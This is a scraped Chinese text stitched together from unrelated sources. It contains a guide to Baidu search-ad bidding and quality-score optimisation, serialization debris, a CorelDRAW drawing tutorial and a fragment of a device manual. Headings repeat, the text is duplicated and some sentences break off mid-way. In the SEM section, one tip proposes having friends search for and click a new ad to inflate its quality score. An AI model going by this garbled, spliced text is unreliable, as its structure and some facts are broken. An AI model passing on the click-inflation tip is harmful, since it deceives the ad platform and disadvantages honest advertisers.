名投放技巧5、SEM优化经验浅谈优化经验浅谈6、高消费词怎么样优化高消费词怎么样优化?
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@#@10、在预算不足的情况下怎么调整账户在预算不足的情况下怎么调整账户数据分析篇1、菜鸟谈数据分析菜鸟谈数据分析(入门篇入门篇)2、网络数据分析和竞价结合网络数据分析和竞价结合3、数据分析步骤数据分析步骤4、百度账户数据分析百度账户数据分析5、转化数据不给力转化数据不给力?
@#@抵达率、智能跟踪、长效转化介绍抵达率、智能跟踪、长效转化介绍6、百度统计空间百度统计空间利用百度统计监控商务通利用百度统计监控商务通网盟操作百度网盟推广操作流程百度网盟推广操作流程技术支持http:
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@#@2012账户管理及操作思路1、百度竞价调价原理及技巧百度竞价调价原理及技巧度推广专业版后,因为无法查看到同行的关键词出价,所以点击收费价格一直是让大家感觉模糊的概念,最近百度推广关键词价格出现几个现象,让我一直怀疑点击价格计费方式,下面是出现的两个异常百度推广账户消费现象:
@#@1.集团有两个百度推广账户里,同一个关键词分别排名第一,第二,但从后台的消费报告看到两个关键词的点击价格竟然相差7元之多。
@#@2.之前一直用软件自动调整关键词价格,一次看百度账户消费报告,觉得一个关键词消费太高了,出价是17元,报告显示点击价格16.5元,我把此关键词价格下调到11元,观察了下排名竟然发现不变,我又把价格调到10元,排名下降了1名,为了证实我的想法,我再次把价格调到11元,排名上升到原来的位置。
@#@关于关键词点击价格,百度是这样定义的:
@#@点击价格是由你和竞争同行的排名关系、出价和质量度等因素共同决定的,对于同一账户内的同一关键词,在您的出价不变的情况下,由于以上因素随时可能发生变动,同一关键词在不同时刻的点击价格可能是不同的。
@#@小贴士:
@#@本文系推一把创始人江礼坤门下刘经赟原创,想交流更多关于医院网络营销的朋友,请登陆刘经赟(拼音)点卡母。
@#@转载时请保留此版权信息点击价格取决于你和竞争对手的排名、出价和质量度,最高不会超过关键词所设定的出价。
@#@1.一般情况下,每次点击价格的计算公式为:
@#@2.点击价格会受到质量度的影响。
@#@同等情况下,质量度越高,需要付出的点击价格越低。
@#@因此可以通过不断优化质量度以降低推广费用,提升投资回报率3.由于竞争环境随时可能发生变化,即使您的出价不变,同一关键词在不同时刻的点击价格也可能不同。
@#@相信大家还记得之前的百度推广经典版,里面的点击价格是可以通过后台查询到竞争对手的价格出价,如果选择地域推广,出价不同也会出现排名相同的情况,因为此点击价格是在全国竞争同行的下一名加一分钱,而很多客户选择的是地域推广,之前这个问题咨询过百度客服,他们给予的回复是按照展现位置的下一位加一分钱,现在看来是错误的,所以我给出以下结论:
@#@1.百度推广专业版的点击价格不是按照你所选定地域推广的展现位置的下一名质量度和出价决定的,而是全国推广同行的下一名质量度和出价影响的。
@#@2.现在的软件调价工具算法程序具有局限性,建议大家通过手工调价,实时查看排名变化情况,以减少百度推广的不必要的浪费。
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@#@20122、质量度质量度?
@#@账户架构账户架构?
@#@关键词关键词?
@#@创意创意?
@#@(详解)(详解)其实这里的每个东西都不会有一个绝对的标准,而且百度时时更新,我们根本超不过百度的脚步,所以只要做好当前,做好当下!
@#@如何去做好呢?
@#@第一个要克服的就是一个字“懒”。
@#@很多人做账户是这样做,看见一星词,单独一个计划,在完整复制3条创意到新建的单元。
@#@你们认为会有效果吗?
@#@词是一个新词,创意是账户里老创意,只是换了个位置这样优化,你的词还不如你之前的词,因为这个新词还没点击率!
@#@08年升级之前创意还不是叫创意,而是叫标题,就是广告的一个“标题+描述!
@#@”09年升级专业版以后就开始叫“创意”所谓创意就是有好的“idea”有新的“idea”可想平时你们是怎么做账户的?
@#@其实我知道这个难,很难,但是不难的事情也不会让我们做,接下来我就浅谈下我优化账户的经验,当然你们也可以把你们更好的经验分享给我,因为我都会去分析可行性!
@#@拿到一个账户如果要大批优化,我会先筛选出我要分析的词,当我们找到需要优化词的时候,我接下来就会把单元计划创建好,初步的单元成型,然后把词放进去,放词也不是说一口气“倒”一批词进去,而是每个词都是自己筛选的,最基本要做到1.词性一定要一致比如看的好像这几个词都是一样的字数差不多,可是在仔细看呢?
@#@疑问句?
@#@品牌词?
@#@问价格词?
@#@都在一个单元,他的质量度能好成什么样子.其实应该三个”南昌无痛人流多少钱”的放在一起!
@#@品牌词单独放疑问词在单独放!
@#@不要怕细其实很多事情你想起来很庞大,真正做起来的时候一天做一点很快的,2.词分好了,每个单元都细了,这个时候是不是就缺的是“创意”,允许懒一下复制1-2条好创意,但是,什么是好创意?
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@#@2012这个时候我会下一份创意报告,分析点击率高,或者点击量多的创意直接复制进去,因为这样的好创意才能带动你需要优化的词,复制完了.是不是只有1-2条?
@#@还差创意?
@#@我会进入账户,工具,推广实况去抄外地排名第一的好创意,因为每条创意系统都会分析好坏,就好一个班级的学生,大家都公认的学生肯定有他的优势,所以只要学着就可以,最后就是参加自己的好“idea”,记住一定一定要有自己新的创意,很重要很关键,下面谈谈创意相关性:
@#@问题:
@#@都是“隆胸”词创意写的都是什么?
@#@医院实力?
@#@资格?
@#@相关性高吗?
@#@在看看这条创意?
@#@通配符是不是多了?
@#@相关度高了?
@#@好了,创意也加进去了,就等待质量度了?
@#@我们没事干了?
@#@不是的。
@#@质量度:
@#@根据该关键词的点击率、创意撰写质量以及账户表现(账户生效时间、账户内其它关键词的点击率)等多个因素计算出来的,在账户中以质量度等级的形式呈现。
@#@质量度一颗星的关键词,又分为绿色星、黄色星、灰色星三种情况。
@#@其中绿色表示比较容易优化到两星,建议对创意做微调;@#@黄色表示优化难度介于绿色和灰色之间;@#@灰色表示在现有关键词数据基础上已经很难优化到两颗星,建议重建单元,重写创意。
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@#@2012点击率:
@#@点击率是影响质量度的重要因素,较高的点击率反映了潜在客户对推广结果更关注和认可。
@#@需要说明的是,这里的点击率排除了位次、地域等因素的影响。
@#@相关性:
@#@包括关键词和创意的相关程度、关键词创意和目标网页的相关程度。
@#@创意撰写水平:
@#@创意围绕关键词撰写得越通顺、越有“创意”,越能吸引潜在客户关注。
@#@账户综合表现:
@#@账户内其他关键词的历史推广表现。
@#@此外,质量度体现的是关键词的相对水平,不持续优化就有可能会退步。
@#@比如,竞争对手都在持续优化,使得整个质量水平提升,而您没有任何进步,您的质量度就有可能下降。
@#@总结:
@#@质量度是一个累计的星级表现,真的,下降不是突然降。
@#@必有原因!
@#@不是账户历史表示不好,就是哪里出了问题。
@#@发生了的事情不要急,一步步去按着顺序做就行。
@#@3、百度百度SEM标准参考规范之搜索营销步骤标准参考规范之搜索营销步骤技术支持http:
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@#@2012搜索营销主要包括收下五个主要的步骤:
@#@1、营销目的和策略的确定;@#@2、关键词数据和历史数据分析;@#@3、制定合理的关键指标并设计词表与网站;@#@4、实施及监测广告投放效果;@#@5、推广数据分析与优化。
@#@搜索营销步骤目标-营销目的和策略的确定受到行业差异、市场地位、竞争态势、产品生命周期、消费人群特性等因素的影响,营销目的和策略差异很大,但又对后续工作有着深远影响。
@#@所以在推广流程的开始,需要明确以下信息:
@#@推广定位(提升品牌知名度、提升品牌形象、或产品促销,等等)目标受众(白领、学生、IT从业人员等)推广策略(要让公司网站获得更多的流量、或是注册、还是带来更多的订单)等多个方面。
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@#@2012分析-关键词数据和历史数据分析根据目标受众确定关键词范围,分类整理,并估算不同类型关键词的搜索量,从而洞察受众在搜索引擎上的特性并判定搜索营销机会。
@#@通过历史数据辅助估算消费、效果和趋势。
@#@如通过分析发现原定策略有不足之处,可对策略进行调整。
@#@计划-制定合理的关键指标并设计词表与网站通过数据分析和效果预估,配合历史数据,为推广活动设置合理的关键指标基准点,即推广目标,例如:
@#@总体访问量,平均点击费用,转化量,转化成本,平均访问停留时间,等等。
@#@如果是较长时间的投放,则需要并将关键指标与推广相关各方达成共识。
@#@确定费用、时间、资源等限定因素,基于营销目的和策略,选定符合关键指标的最佳推广组合方案,确定投放使用的关键词表。
@#@根据之前对目标受众搜索兴趣点完成网站的设计和制作。
@#@撰写相关创意。
@#@设定并测试效果监测系统。
@#@执行-实施及监测广告投放效果协调各方及时在营销平台上开通账户、上传方案并按时开通上线。
@#@实施每日投放数据和效果数据的紧密监测和细微调整,保持稳定的投放,避免大幅波动。
@#@优化-推广数据分析与优化每周、每月、每季度或在指定时间跨度进行数据汇总,生成报告,陈述当前形势,进行趋势和效果的数据分析,与推广关键指标进行比对,指出取得的成绩与不足。
@#@基于历史数据、投放数据、效果数据分析及对市场认识的更新,有步骤的调整关键词、创意、账户结构、网站构架和内容、运营流程等不同层级,以达到或超越之前制定的推广关键指标。
@#@如有不可控因素存在,或预期与实际情况差异较大,就需要调整策略或基准点,并与各方达成共识。
@#@基于数据报告和分析得到的结论,制定优化方案,取得各方确认后实施。
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@#@2012需要注意的是,优化不仅仅是对最初计划的裁剪,还需要基于新的数据分析和市场洞察设计新的尝试方向,使整个推广活动进入吐故纳新的正向循环,充分挖掘市场的潜力。
@#@4、我的竞价管理观我的竞价管理观1、竞价,二分精力在账户,八分精力在转化2、对用户习惯的良好的分析,研究用户体验度,这是竞价的根本,3、用最少的钱,最少的词,最高的转化率来获得最多的流量,最高的利润4、竞价是最锻炼一个人的整体营销理念的方式5、从竞价来培养自己对网络营销的前瞻性5、百度专业版非官方投放指南、百度专业版非官方投放指南在百度切换到专业版以后,好多人变得束手无策,百度专业版与经典版最重要的一个区别就是引入了质量度这个概念,也就是百度竞价广告的排名,不再是原来只有的价格一个参数来决定的了,而是价格和质量度两方面来决定的。
@#@这个有些和GOOGLEADWORDS的广告不谋而合,套用GOOGLE的算法公式,也就是排名指数=竞价质量度,排名指数越高,排名位置越优势。
@#@对于竞价的调整,这个没有什么太多的说法可言,在下面的文章里,我主要阐述一下我对百度专业版的引入的质量度这个参数的一些理解和质量度优化的一些方法。
@#@质量度是系统根据该关键词的点击率、创意撰写质量以及账户表现(账户生效时间、账户内其它关键词的点击率)等多个因素计算出来的,在账户中以质量度等级的形式呈现。
@#@质量度的等级越高,意味着您的推广质量越高,越能得到网民的关注与认可。
@#@同时,作为对高质量推广的奖励,质量度越高,您要支付的点击价格就越低,或以同一出价获得的推广排名就越高。
@#@”质量度的优化是一个不断尝试的过程,我们建议您持续关注账户表现,在观察、总结的基础上摸索更符合自己推广目标的优化方法。
@#@”,百度官方是这样描述质量度的优化的。
@#@百度在描述中运用了这样几个词眼:
@#@“不断尝试”“持续关注”“摸索”,其中这句话中,百度描述很清楚,也就是说质量度的优化方法和搜索引擎的自然排名方法一样,并不是透明公开,而是一种经验体验。
@#@百度建议在质量度的优化方面从以下几个方面入手:
@#@1.账户结构,2.创意的撰写质量,3.合适的URL体现,4.更有效的关键词。
@#@根据优化google关键词质量得分的经验来看,质量度应该与以下几方面也有一定的关系,1.网站投放广告的历史记录,2.广告中URL的历史点击率,3.目标网页的相关度和速度,4.关键词和关键词组的相关性,5.关键词及创意与搜索查询的相关性,6.账户在展示广告的地理区域中的效果,7.其他相关因素。
@#@看这些官方给出的聪明解释,既明确又含糊。
@#@我们应该怎么做呢?
@#@不必束手无策,在面对这样一个新的平台的时候,整理好思路和条理,在专业版上有效果的突破还是有很大把握的!
@#@根据以往投放经验,总结可以通过如下方式来提高百度专业版投放的质量。
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@#@20121.1.优质推广单元能提升质量度!
@#@优质推广单元能提升质量度!
@#@推广计划和推广单元是百度专业版引入的一个新的概念,在google中对应的是广告系列和广告组,我们通过百度官方提供的拓扑图可以看出两者的关系。
@#@对推广单元的结构进行优化很大程度上能够提高竞价广告的质量度,其实道理很简单,结构优化良好的推广单元有利于用户搜索的准确性,因此提高了企业广告的点击率和转化率,当然也有利于提高百度的广告收益率,满足了三方利益,当然百度把你排在优势的位置。
@#@怎样的推广单元才是优质的呢?
@#@推广单元无非就是由关键词和创意组成。
@#@1.11.1合适的关键词数量和关键词分类合适的关键词数量和关键词分类在每个推广单元中的关键词数量保持在5-15个最佳,推广单元里的关键词必须是同类型的,也就是同一推广单元中的关键词应共享同一词根,热词和长尾词要分来放不同的推广单元,以免一些冷门词由于点击率低影响到整个推广单元的质量度,在相同的推广单元下,关键词相似度越强,分类越清晰,就越可能获得高的质量度,当然也就能得到好的排名位置。
@#@1.21.2撰写有质量的创意撰写有质量的创意在每个推广单元中加长创意和标准创意各两条,在撰写创意的时候要注意在创意里包括关键词组中的词根。
@#@广告创意的撰写一定要体现搜索关键词的相关性,这里根据个人投放的经验建议采用如下方法提高创意的相关性:
@#@加长创意,标题为20个字的限制,在标题中出现1-2次的词根为佳,创意描述为100个字的限制,能出现2-3次的词根为佳,确保做到语句通顺。
@#@标准创意,标题为13个字的限制,在标题中出现1-2次的词根为佳,创意两行共36个字的限制,能出现1-2次的词根为佳,确保做到语句通顺。
@#@在创意中用通配符把词根标示出来,在创意撰写的时候注意拿其他关键词替代通配符,确保阅读通顺,另外注意要把最长的关键词带入创意中,查看创意是否过长而不能正常显示,以便及时调整。
@#@1.31.3让让URLURL发挥最大的效用发挥最大的效用在每个创意显示的URL中用大小来方便用户记忆,当然也可以把电话号码写在URL中,比如,这个域名,我们可以www.TaoBhttp:
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@#@2012着落页的优化,虽然百度没有在专业版特意提出着落页的优化方面不仅影响竞价广告的质量度,还影响着网站访客的跳出率(某个时间段内,只浏览了一页即离开网站的访问次数占总访问次数的比例。
@#@),个人的经验是在专题的设计上使用和推广单元同样的词根作为专题的中心,在专题中突出优惠和优势,能够诱惑访客进一步采取行动,这样的专题才是成功的。
@#@专题一定要能方便返回首页或者其他相关页面,否则当访客想要进一步了解的时候,只能转身离开。
@#@3.3.新广告通过提高的价格限制上限来提高质量度。
@#@新广告通过提高的价格限制上限来提高质量度。
@#@新广告上线,百度起初分配的质量度默认都是相同的,我们可以通过提高起步出价,来让广告展示在优势的位置,从而得到很好的点击率以提高质量度目的,当通过一段时间质量度得到相应提升以后,可以参照平均点击价格来进行出价的限制,一般出价为平均点击价格的110-150%,这个要根据关键词的商业价值来决定。
@#@另外,在google投放方面,我们常在一个新的广告上线以后,然后让多个朋友搜索词根并点击广告,以在短的时间内来提高广告的质量得分,在百度质量度方面也不妨可以一试。
@#@4.4.合理分配搜索广告和联盟广告。
@#@合理分配搜索广告和联盟广告。
@#@根据经验来讲,假如有联盟广告的投放计划的话,建议投放预算不超过搜索费用的1/4,单次点击价格也要根据商业价值来决定。
@#@在联盟广告的投放方面,多展示图片动画等广告,来代替传统的文字广告,图片动画等广告对于企业的品牌传播也有一定的效果。
@#@5.5.监控和优化广告,让打造黄金账户。
@#@监控和优化广告,让打造黄金账户。
@#@在监控和优化关键词广告的时候,我们往往以点击率作为衡量投放是否的良好的标准,依据以往经验,我们把点击率点击率低于0.1%的关键词必须删除,但是由于百度没有提供点击率相关方面的数据,所以,我们还需要长时间的观察和摸索,建立良好的广告结构相当于建造一间毛坯房,后期的帐户优化相当于装修,前者是后者的基础,后者是前者的延续,一同为提高竞价广告投资回报率而服务。
@#@5.15.1对广告进行分割测试提高广告转化率。
@#@对广告进行分割测试提高广告转化率。
@#@广告是写给客户看的,因此让客户来对广告进行投票是最好的方法,我们可以撰写2个创意A和B,先展示创意A一周或者半个月,再展示创意B一周或者半个月,然后比较两个效果,然后挑效果好的展示,之后在设计一个创意来尝试打败那个效果好的,保持不断更新,不断淘汰,逐步提升推广单元的营销效果,当然更重要的提升了广告的转化率。
@#@5.25.2不断调整细分关键词不断调整细分关键词通过投放的数据报告,将广告单元中的流量高的关键词提取出来,挖掘相关的长尾关键词,然后把他们重新放到新的推广单元中去,重新撰写一个相关的创意,这样能够不断扩展推广单元,也提高了关键词的质量度。
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@#@2012广泛匹配时候添加否定关键词,我们在使用广泛匹配的时候常常会匹配到某些无关的关键词上,这样带来很多的浪费点击,我们可以根据网站流量统计报表及时发行无效流量关键词,及时添加否定关键词,以便减少广告浪费。
@#@5.35.3挖掘和添加长尾关键词挖掘和添加长尾关键词我们在投放关键词的时候,不可能一下子找到所有的有价值的关键词,除了核心关键词外,还有许多的长尾关键词需要我们挖掘,通过流量统计报表,通过分析词根的方式来研究用户的搜索方式,从而挖掘更多的长尾关键词,对长尾关键词的补充,通过长尾词的补充,从经验上来讲,一方面可以提高广告的相关性,另一方面也可以一定程度上降低点击成本。
@#@6、关于百度最新短语匹配的批量修改技巧关于百度最新短语匹配的批量修改技巧(实用实用)最近百度凤巢涅槃升级了新短语匹配方式,不相干关键词的消费急速上升,想必大家都很恼火,升级后的短语匹配,变成了广泛短语匹配,如果需要修改成原来的精确短语匹配,又没找的好的办法,以下给大家提供几个批量修改的方法:
@#@方法一:
@#@百度后台工具-批量工具-选择批量下载-下载修改样例表-修改Excel中的“修改关键词匹配模式、出价和访问URL”这个表,然后将需要修改匹配模式的关键词的计划、单元一一填写,将匹配模式里面的“短语”改成“短语*”(即精确短语),然后上传批量修改,OK,以下是样表图;@#@技术支持http:
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@#@2012方法二:
@#@第三方调词工具,可以通过设置价格条件,批量修改匹配,见下图:
@#@此工具需要购买,具体名称不用明说,用过的朋友应该很眼熟。
@#@方法三:
@#@在老版关键词搜索框里搜索出关键词,然后:
@#@将以前的短语格式关键词修改为关键词即为精确短语技术支持http:
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@#@2012创意撰写技巧1、百度推广创意撰写通用技巧百度推广创意撰写通用技巧通配1、标题与描述保证3-5处通配2、标题和描述的通配符位置靠前3、多使用关键词词根(非通配符)二、通顺账户结构划分合理是基础,保证创意语句通顺可读三、相关1、围绕产品或服务的特点撰写创意2、针对单元内关键词的网民搜索意图撰写创意四、吸引1、使用短语、疑问、感叹等句式2、使用数字、字幕、特殊标点,如!
@#@?
@#@等3、添加优惠、打折等吸引力强的词4、仿照前台展现创意样式结合本身特点撰写创意5、用一些时下流行时尚的语句:
@#@如:
@#@给力,浮云等6、研究同行,与客户沟通对比,提炼出更有吸引力的创意五、URL1、修改访问URL指向相关页面2、调整显示URL的表现样式,如字母大写六、展现1、针对PP和PPIM,长短创意结合2、默认关键词为最长关键词3、删除点击率低的创意4、使用换行符,保证展现创意内容相对完整2、百度竞价推广创意撰写全攻略百度竞价推广创意撰写全攻略最近群里有很多朋友问到关于百度竞价推广如何写出好创意的问题,每次一遍遍的解释之后,没几天又会有新的朋友来问同样的问题,关于百度推广创意撰写需要注意的地方和把握原则很多,想一下总结也确实不容易,本想这两天整理一下写成文章,百度搜索引擎营销部的朋友告诉我已总结过了,看完后感觉总结得很不错,那就引用过来吧,为尊重百度原创和百度朋友的知识产权,刘经赟的观点就在";i:
15;s:
12425:
"一、简介:
@#@由加拿大的Corel公司于1989年推出,目前最新版本为12.0。
@#@CORELDRAW广泛应用于平面设计,包装装潢,彩色出版与多媒体制作等领域。
@#@CORELDRAW设计是目前最流行的矢量图形设计软件之一。
@#@Photoshop处理矢量图:
@#@就是向量图像,是由图形元素(对象)组成。
@#@位图:
@#@又称为点阵图,是由许多点(像素)组成。
@#@当放大一定比例时,可以看到很多小方块,PHOTOSHOP它还包括其它程序:
@#@1、CorelCapture是一个灵活的抓图软件。
@#@2、CorelPHOTO-PAINT是一个位图图像处理程序。
@#@3、CorelR.A.V.E2.0是一个新型实用的动画制作软件。
@#@4、CorelTRACE是一种位图转换实用工具。
@#@5、DuplexingWizard为手动双面打印向导程序。
@#@二、界面:
@#@最主要的有:
@#@1、标题栏,菜单栏,工具箱,属性栏,状态栏,调色板2、绘图区,变焦:
@#@缩放选定对象。
@#@(SHIFT+F2)缩放全部对象。
@#@(F4)按页面大小显示。
@#@(SHIFT+F4)按页面高度显示。
@#@按页面宽度显示。
@#@3、泊坞窗口:
@#@变形(ALT+F7),整形(造形),插入字符(CTRL+F11)。
@#@三、绘制矩形:
@#@按下鼠标左键不放,拖动到需要的位置,放开鼠标左键,矩形就绘制成功。
@#@1、矩形工具的快捷键:
@#@F62、CTRL键,可绘制正方形。
@#@3、SHIFT键,以当前点为中心绘制矩形。
@#@4、CTRL+SHIFT键,以当前点为中心绘制正方形。
@#@5、双击矩形工具,可会绘制一个和页面大小一样的矩形。
@#@6、三点画矩形。
@#@四、填充颜色:
@#@(先选择对象,再填充颜色)填充:
@#@用颜色填满闭合的轮廓线内部,在调色板上单击左键填充轮廓(更改轮廓色):
@#@在调色板上单击右键不填充:
@#@单击颜色表的叉。
@#@不填充轮廓:
@#@右击颜色表的叉。
@#@注:
@#@如果没有选择对象,而填充颜色会出现:
@#@若单击确定,以后所绘出的图形默认颜色会改变,变成你所选的颜色。
@#@五、绘制椭圆和圆形。
@#@1、椭圆工具快捷键:
@#@F72、CTRL键,可绘制正圆形。
@#@3、SHIFT键,以当前点为中心绘制椭圆形4、CTRL+SHIFT,以当前点为中心绘制正圆形。
@#@5、三点画椭圆。
@#@六、挑选工具:
@#@A、选择:
@#@(物体有9个点)1、点选2、SHIFT+点选:
@#@可增加选择。
@#@3、框选。
@#@4、CTRL+A全选.DELETE键,删除对象。
@#@B、移动:
@#@1、鼠标放在中心点上变成移动图标。
@#@即可移动。
@#@2、CTRL可水平或垂直移动。
@#@C、复制:
@#@1、剪切ctrl+x,复制ctrl+c,粘贴ctrl+v2、“+”复制的方法(原地复制):
@#@3、右键复制的方法(移动复制):
@#@先移开对象,左键不松开,右键单击并松开,最后松开左键。
@#@4、再制:
@#@CTRL+D。
@#@D、缩放:
@#@1、四角:
@#@长宽按比例放大缩小。
@#@2、四边:
@#@单向放大缩小。
@#@3、SHIFT键,中心位置不边,两边同时放大缩小。
@#@E、旋转与倾斜:
@#@(注意中心点)1、标准旋转:
@#@2、鼠标自由旋转:
@#@选中对象,再次单击,旋转倾斜即可。
@#@七、网格和辅助线:
@#@网格和辅助线可以帮助用户准确地绘制和排列对象。
@#@1、网格:
@#@可以精确定位一个点,帮助用户准确地调整图像。
@#@2、辅助线:
@#@是绘图窗口中用于定位的不可打印的虚线。
@#@有纵向、横向和倾斜三种使用它也可以对齐对象;@#@在标尺上按下鼠标左键,向绘图区中拖动,可以产生水平和垂直辅助线P页面中心对齐,C垂直对齐八、群组和结合:
@#@1、群组:
@#@可将多个不同的对象结合在一起。
@#@CTRL+G(取消群组CTRL+U)2、结合:
@#@可将多个对象合并在一起,创建一个新对象。
@#@(公共的部分成空)例:
@#@方块10的制作。
@#@一、手绘工具:
@#@1、绘直线:
@#@单条直线:
@#@单击起点,再单击终点,连续直线:
@#@单击起点,再双击终点,再双击另一个终点。
@#@2、绘曲线:
@#@按住鼠标左键不放,随意移动即可。
@#@3、属性:
@#@线型,箭头,平滑度。
@#@二、贝塞尔工具:
@#@1、绘直线和折线:
@#@逐次单击。
@#@2、绘曲线:
@#@按住鼠标左键不放,拖出控制线,3、用造型工具调整。
@#@三、造型工具:
@#@增加节点:
@#@1、双击直线任意部分(不是节点);@#@2、点中直线任意部分,再点减少节点:
@#@1、双击节点;@#@2、选中节点,再点结合节点:
@#@选中一个物体的两个节点,再点断开节点:
@#@选中物体的一个或多个节点,再点。
@#@曲线转换为直线:
@#@直线转换为曲线:
@#@(直线变弯曲)转换为曲线:
@#@(形状转换为线条)四、描边:
@#@(蜘蛛)1、调整好要描边的对象。
@#@2、改变对象外框颜色。
@#@3、排列/锁定对象。
@#@4、查看/对齐对象。
@#@5、贝塞尔工具描边对象。
@#@6、造形工具调整对象。
@#@7、解除锁定,8、移动要源对象(可用ALT+单击来选择对象)。
@#@内容:
@#@1、矩形,椭圆,多边形的属性选项:
@#@2、造形工具更多的用法一、矩形的属性:
@#@表示这个矩形的中心点在页面的位置。
@#@矩形的长宽值和放大缩小的比例值表示长宽按比例放大缩小。
@#@表示旋转水平或垂直镜像。
@#@矩形的圆角程度,也可以用造形工具调节。
@#@锁定四个圆角比例。
@#@文字环绕方式。
@#@排列顺序。
@#@3点矩形:
@#@画一个斜的矩形。
@#@二、椭圆的属性:
@#@画椭圆。
@#@画派形或饼形。
@#@画圆弧。
@#@设置饼形或圆弧的起始角度和终止角度。
@#@也可用造形工具调节。
@#@例:
@#@奥运五环。
@#@将饼形或圆弧进行180度的镜像。
@#@也就是取它们的另一半。
@#@3点椭形:
@#@画一个倾斜的椭圆。
@#@设置属性的默认设置:
@#@1、不选择任何物体,设置椭圆属性。
@#@2、双击椭圆,设置椭圆选项。
@#@3、工具选项:
@#@工作区工具箱椭圆工具三、多边形:
@#@设置属性的默认设置:
@#@1、不选择任何物体,设置多边形属性。
@#@2、双击多边形,设置多边形选项。
@#@3、工具选项:
@#@工作区工具箱多边形工具造形工具可调节多边形。
@#@例:
@#@描边奖牌四、造形工具:
@#@一、焊接:
@#@将几个图形对象结合成一个图形对象。
@#@二、修剪:
@#@将来源对象与目标对象的相交部分裁掉,使目标对象的形状被更改。
@#@三、相交:
@#@将两个或两个以上对象的相交部分保留,便相交的部分成为一个新的图形对象。
@#@四、简化:
@#@减去后面对象的和前面对象的重叠部分,并保留前面对象和后面对象的状态。
@#@五、前减后:
@#@减去后面对象,并减去前后对象的重叠部分,保留前面对象的剩余部分。
@#@六、后减前:
@#@减去前面对象,并减去前后对象的重叠部分,保留后面对象的剩余部分。
@#@变换泊坞窗口。
@#@一、对象的移动。
@#@1、挑选工具移动。
@#@(移动中心点)2、键盘移动。
@#@(方向键)3、“选择”属性移动X表示对象所在位置的横坐标,Y表示对象所在位置的纵坐标。
@#@4、变换泊坞窗口:
@#@移动位置:
@#@H表示对象所在位置的横坐标,V表示对象所在位置的纵坐标。
@#@相对位置:
@#@对象相对于原位置的中心进行移动。
@#@应用:
@#@对象调整完成。
@#@应用到再制:
@#@对象调整完成后再复制一个或多个。
@#@二、对象的旋转:
@#@1、鼠标旋转:
@#@2、“自由变换”属性:
@#@(一定要先选择好对象)设定旋转数值或用鼠标拖动对象。
@#@3、“选择”属性:
@#@设定要旋转角度值。
@#@4、变换泊坞窗口:
@#@旋转角度:
@#@中心:
@#@H:
@#@横坐标V纵坐标5、相对位置:
@#@9个控制点。
@#@三、对象的缩放:
@#@1、鼠标缩放对象:
@#@2、“选择”属性:
@#@设置对象的高度和宽度或比例。
@#@表示高度和宽度按比例缩放。
@#@3、变换泊坞窗口:
@#@缩放缩放:
@#@H表示宽度V表示高度不按比例:
@#@表示对象不按比例缩放对象。
@#@4、变换泊坞窗口:
@#@大小(同上)四、对象的镜像:
@#@1、鼠标镜像:
@#@按CTRL键,可保持原对象比例进行水平,垂直,对角线方向的镜像。
@#@2、“选择”属性:
@#@水平镜像和垂直镜像。
@#@3、变换泊坞窗口:
@#@镜像缩放:
@#@镜像:
@#@不成比例:
@#@五、对象倾斜变形:
@#@1、鼠标倾斜2、“自由变换”属性:
@#@(一定要先选择好对象)3、变换泊坞窗口:
@#@旋转H水平,V垂直六、例:
@#@扇子,八封图。
@#@渐变一一、颜色模式:
@#@1、RGB模式:
@#@R(红)G(绿)B(蓝)又名“三原色”是太阳原本的颜色,RGB的参数范围是0255,当R=G=B=0时为黑色,当R=G=B=255时为白色,当R=255,G=B=0时为红;@#@当G=255,R=B=0时为绿。
@#@当B=255,R=G=0时为蓝其它颜色是用R、G、B,3种颜色叠加而形成的,共可以叠加出1670多万种颜色.RGB颜色模式是编辑图像的首选模式2、CMYK模式:
@#@又名印刷色或打印色,C(青)M(洋红)Y(黄)K(黑)C、M、Y、K的参数范围为0100%。
@#@在打印前应先将RGB模式的图像转换为CMYK模式;@#@3、Lab模式:
@#@是RGB和CMYK中间的颜色。
@#@L(亮度)a(从绿到红)b(从蓝到黄)L:
@#@0100a:
@#@+120-120b:
@#@+120-120打印输出时,RGB转换为LAB,再转换为CMYK。
@#@4、HSB模式:
@#@用于调配颜色,参数范围为H(色相)S(饱和度)B(亮度)H:
@#@0-360S:
@#@0-100B:
@#@0100H:
@#@0为红,60为黄,120为绿,180为青,240为蓝,300为洋红二、标准填色:
@#@1、调色板填色:
@#@2、填充颜色对话框(SHIFT+F11):
@#@3、交互式填充工具(G):
@#@三、渐变:
@#@包括:
@#@线性,射线,圆锥,方形1、交互式填充工具(G):
@#@只能两种颜色渐变。
@#@2、渐变填充(F11):
@#@可实现两种或多种颜色渐变。
@#@3、线性渐变:
@#@戒烟广告,柱形,4、射线渐变:
@#@球体,5、圆锥渐变:
@#@光盘,铅笔,圆锥6、方形渐变:
@#@背景实例:
@#@乒乓球拍,杀虫剂,杯子,实体。
@#@一、填充图案:
@#@1、双色填充:
@#@2、全彩填充:
@#@3、位图填充:
@#@4、定义图案:
@#@二、底纹填充:
@#@三、PostScript底纹填充:
@#@实例:
@#@笔记本,电脑,购物袋,横轴,皇冠,梳子,文件柜。
@#@文字:
@#@一、输入方式:
@#@美工文字、段落文字二、文本格式的转换:
@#@美术字文本和段落文本各有特点,在实际操作过程中,根据需要可以将二者相互转换,文本格式的转换有包括以下两种情况。
@#@将段落文本转换为美术字文本将美术字文本转换为段落文本三、文本属性的设置1、字体和大小的设置文字属性栏使用菜单命令设置2、文本排列方向的设置水平方向垂直方向3、文本效果的添加添加文本符号制作文字绕图效果四、美工文字:
@#@1、造型工具调节:
@#@X2+Y2=Z22、使文本适合路径文本适合路径的制作文本适合路径的编辑修改五、段落文字:
@#@加颜色效果:
@#@六、实例:
@#@名片,标签,钮扣制作,广告制作.商标制作,日历设计一张自己的名片一、刻刀工具:
@#@鸡蛋壳二、橡皮擦工具(X):
@#@奥运五环。
@#@三、涂抹笔刷,粗糙笔刷,自由变换工具,删除虚设线。
@#@四、艺术画笔工具:
@#@设计自己的艺术图片,并设为桌面。
@#@五、交互式连线工具。
@#@六、度量工具。
@#@七、交互式调合工具:
@#@邮票,火焰,心绕心,珍珠字,鸡蛋。
@#@投篮动作。
@#@1.交互式轮廓图工具2.交互式变形工具3.交互式阴影工具4.封套5.交互式立体化工具6.交互式透明工具7.例:
@#@2008,北京奥运,齿轮,灯笼,螺旋,小小环球,立体字条码的制作:
@#@我们一般用的条码是EAN-13码,如书的条码,光盘的条码.位图工具扫描";i:
16;s:
19464:
"36给定模式rEF使用给定模式可监视给定值,如果启用了本地控制功能(给定通道1Fr1Fr1第44页=AIU1AIU1),则还可通过旋转导航按钮调整实际给定值。
